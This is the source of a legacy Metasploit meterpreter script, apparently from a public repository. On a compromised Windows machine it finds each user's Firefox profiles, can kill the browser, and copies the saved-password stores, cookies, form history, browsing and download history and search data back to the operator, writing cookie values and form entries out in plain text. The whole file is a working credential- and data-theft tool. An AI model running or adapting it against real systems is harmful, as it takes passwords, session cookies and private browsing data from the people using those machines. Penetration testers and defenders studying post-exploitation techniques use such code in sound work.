Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/enum_firefox.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#8# Author: Carlos Perez at carlos_perez[at]darkoperator.com9#-------------------------------------------------------------------------------10################## Variable Declarations ##################11require 'sqlite3'12@client = client13kill_frfx = false14host,port = session.session_host, session.session_port15# Create Filename info to be appended to downloaded files16filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")1718# Create a directory for the logs19@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )2021# logfile name22logfile = @logs + "/" + host + filenameinfo + ".txt"23notusrs = [24"Default",25"Default User",26"Public",27"LocalService",28"NetworkService",29"All Users"30]31#-------------------------------------------------------------------------------32#Function for getting Firefox SQLite DB's33def frfxplacesget(path,usrnm)34# Create the log35::FileUtils.mkdir_p(@logs)36@client.fs.dir.foreach(path) {|x|37next if x =~ /^(\.|\.\.)$/38fullpath = path + '\\' + x39if @client.fs.file.stat(fullpath).directory?40frfxplacesget(fullpath,usrnm)41elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i42dst = x43dst = @logs + ::File::Separator + usrnm + dst44print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")45@client.fs.file.download_file(dst, fullpath)46end47}4849end50#-------------------------------------------------------------------------------51#Function for processing the Firefox sqlite DB's52def frfxdmp(usrnm)53sitesvisited = []54dnldsmade = []55bkmrks = []56cookies = []57formvals = ''58searches = ''59results = ''60placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"61formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"62searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"63cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"64bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"65download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"66url_history = @logs + ::File::Separator + usrnm + "_history.txt"67form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"68search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"69begin70print_status("\tGetting Firefox Bookmarks for #{usrnm}")71db = SQLite3::Database.new(placesdb)72#print_status("\tProcessing #{placesdb}")7374db.execute('select a.url from moz_places a, moz_bookmarks b, '+75'moz_bookmarks_roots c where a.id=b.fk and parent=2'+76' and folder_id=2 and a.hidden=0') do |row|77bkmrks << row78end79print_status("\tSaving to #{bookmarks}")80if bkmrks.length != 081bkmrks.each do |b|82file_local_write(bookmarks,"\t#{b.to_s}\n")83end84else85print_status("\tIt appears that there are no bookmarks for this account")86end87rescue::Exception => e88print_status("The following Error was encountered: #{e.class} #{e}")89end90#--------------------------------------------------------------------------91begin92print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")93db.execute('SELECT url FROM moz_places, moz_historyvisits ' +94'WHERE moz_places.id = moz_historyvisits.place_id '+95'AND visit_type = "7" ORDER by visit_date') do |row|96dnldsmade << row97end98print_status("\tSaving Download list to #{download_list}")99if dnldsmade.length != 0100dnldsmade.each do |d|101file_local_write(download_list,"\t#{d.to_s} \n")102end103else104print_status("\tIt appears that downloads where cleared for this account")105end106rescue::Exception => e107print_status("The following Error was encountered: #{e.class} #{e}")108end109#--------------------------------------------------------------------------110begin111print_status("\tGetting Firefox URL History for #{usrnm}")112db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +113'WHERE moz_places.id = moz_historyvisits.place_id ' +114'AND visit_type = "1" ORDER by visit_date' ) do |row|115sitesvisited << row116end117print_status("\tSaving URL History to #{url_history}")118if sitesvisited.length != 0119sitesvisited.each do |s|120file_local_write(url_history,"\t#{s.to_s}\n")121end122else123print_status("\tIt appears that Browser History has been cleared")124end125db.close126rescue::Exception => e127print_status("The following Error was encountered: #{e.class} #{e}")128end129#--------------------------------------------------------------------------130begin131print_status("\tGetting Firefox Form History for #{usrnm}")132db = SQLite3::Database.new(formdb)133#print_status("\tProcessing #{formdb}")134db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|135formvals << "\tField: #{row[0]} Value: #{row[1]}\n"136end137print_status("\tSaving Firefox Form History to #{form_history}")138if formvals.length != 0139file_local_write(form_history,formvals)140else141print_status("\tIt appears that Form History has been cleared")142end143db.close144rescue::Exception => e145print_status("The following Error was encountered: #{e.class} #{e}")146end147148begin149print_status("\tGetting Firefox Search History for #{usrnm}")150db = SQLite3::Database.new(searchdb)151#print_status("\tProcessing #{searchdb}")152db.execute("SELECT name,value FROM engine_data") do |row|153searches << "\tField: #{row[0]} Value: #{row[1]}\n"154end155print_status("\tSaving Firefox Search History to #{search_history}")156if searches.length != 0157file_local_write(search_history,searches)158else159print_status("\tIt appears that Search History has been cleared")160end161db.close162rescue::Exception => e163print_status("The following Error was encountered: #{e.class} #{e}")164end165# Create Directory for dumping Firefox cookies166ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")167::FileUtils.mkdir_p(ckfldr)168db = SQLite3::Database.new(cookiesdb)169db.results_as_hash = true170print_status("\tGetting Firefox Cookies for #{usrnm}")171db.execute("SELECT * FROM moz_cookies;" ) do |item|172fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")173fd.puts "Name: " + item['name'] + "\n"174fd.puts "Value: " + item['value'].to_s + "\n"175fd.puts "Host: " + item['host'] + "\n"176fd.puts "Path: " + item['path'] + "\n"177fd.puts "Expiry: " + item['expiry'].to_s + "\n"178fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"179fd.puts "isSecure: " + item['isSecure'].to_s + "\n"180fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"181fd.close182end183return results184end185#-------------------------------------------------------------------------------186#Function for getting password files187def frfxpswd(path,usrnm)188@client.fs.dir.foreach(path) {|x|189next if x =~ /^(\.|\.\.)$/190fullpath = path + '\\' + x191192if @client.fs.file.stat(fullpath).directory?193frfxpswd(fullpath,usrnm)194elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i195begin196dst = x197dst = @logs + ::File::Separator + usrnm + dst198print_status("\tDownloading Firefox Password file to '#{dst}'")199@client.fs.file.download_file(dst, fullpath)200rescue201print_error("\t******Failed to download file #{x}******")202print_error("\t******Browser could be running******")203end204end205}206207end208#-------------------------------------------------------------------------------209# Function for checking if Firefox is installed210def frfxchk211found = false212registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|213if a =~ /Firefox/214print_status("Firefox was found on this system.")215found = true216end217end218return found219end220#-------------------------------------------------------------------------------221#Function for executing all pilfering actions for Firefox222def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)223print_status("Getting Firefox information for user #{usrnm}")224frfxplacesget(frfoxdbloc,usrnm)225frfxpswd(frfoxdbloc,usrnm)226file_local_write(logfile,frfxdmp(usrnm))227end228229# Function to kill Firefox if open230def kill_firefox231print_status("Killing the Firefox Process if open...")232@client.sys.process.get_processes().each do |x|233if x['name'].downcase == "firefox.exe"234print_status("\tFirefox Process found #{x['name']} #{x['pid']}")235print_status("\tKilling process .....")236session.sys.process.kill(x['pid'])237end238end239end240####################### Options ###########################241@@exec_opts = Rex::Parser::Arguments.new(242"-h" => [ false, "Help menu." ],243"-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]244245)246@@exec_opts.parse(args) { |opt, idx, val|247case opt248when "-h"249print_line "Meterpreter Script for extracting Firefox Browser."250print_line(@@exec_opts.usage)251raise Rex::Script::Completed252when "-k"253kill_frfx = true254end255}256if client.platform == 'windows'257if frfxchk258user = @client.sys.config.getuid259if not is_system?260envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')261usrname = envs['USERNAME']262db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"263if kill_frfx264kill_firefox265end266print_status("Extracting Firefox data for user #{usrname}")267frfxpswd(db_path,usrname)268frfxplacesget(db_path,usrname)269frfxdmp(usrname)270else271registry_enumkeys("HKU").each do |sid|272if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/273key_base = "HKU\\#{sid}"274usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))275db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"276if kill_frfx277kill_firefox278end279print_status("Extracting Firefox data for user #{usrname}")280frfxpswd(db_path,usrname)281frfxplacesget(db_path,usrname)282frfxdmp(usrname)283end284end285end286287end288else289print_error("This version of Meterpreter is not supported with this Script!")290raise Rex::Script::Completed291end292293294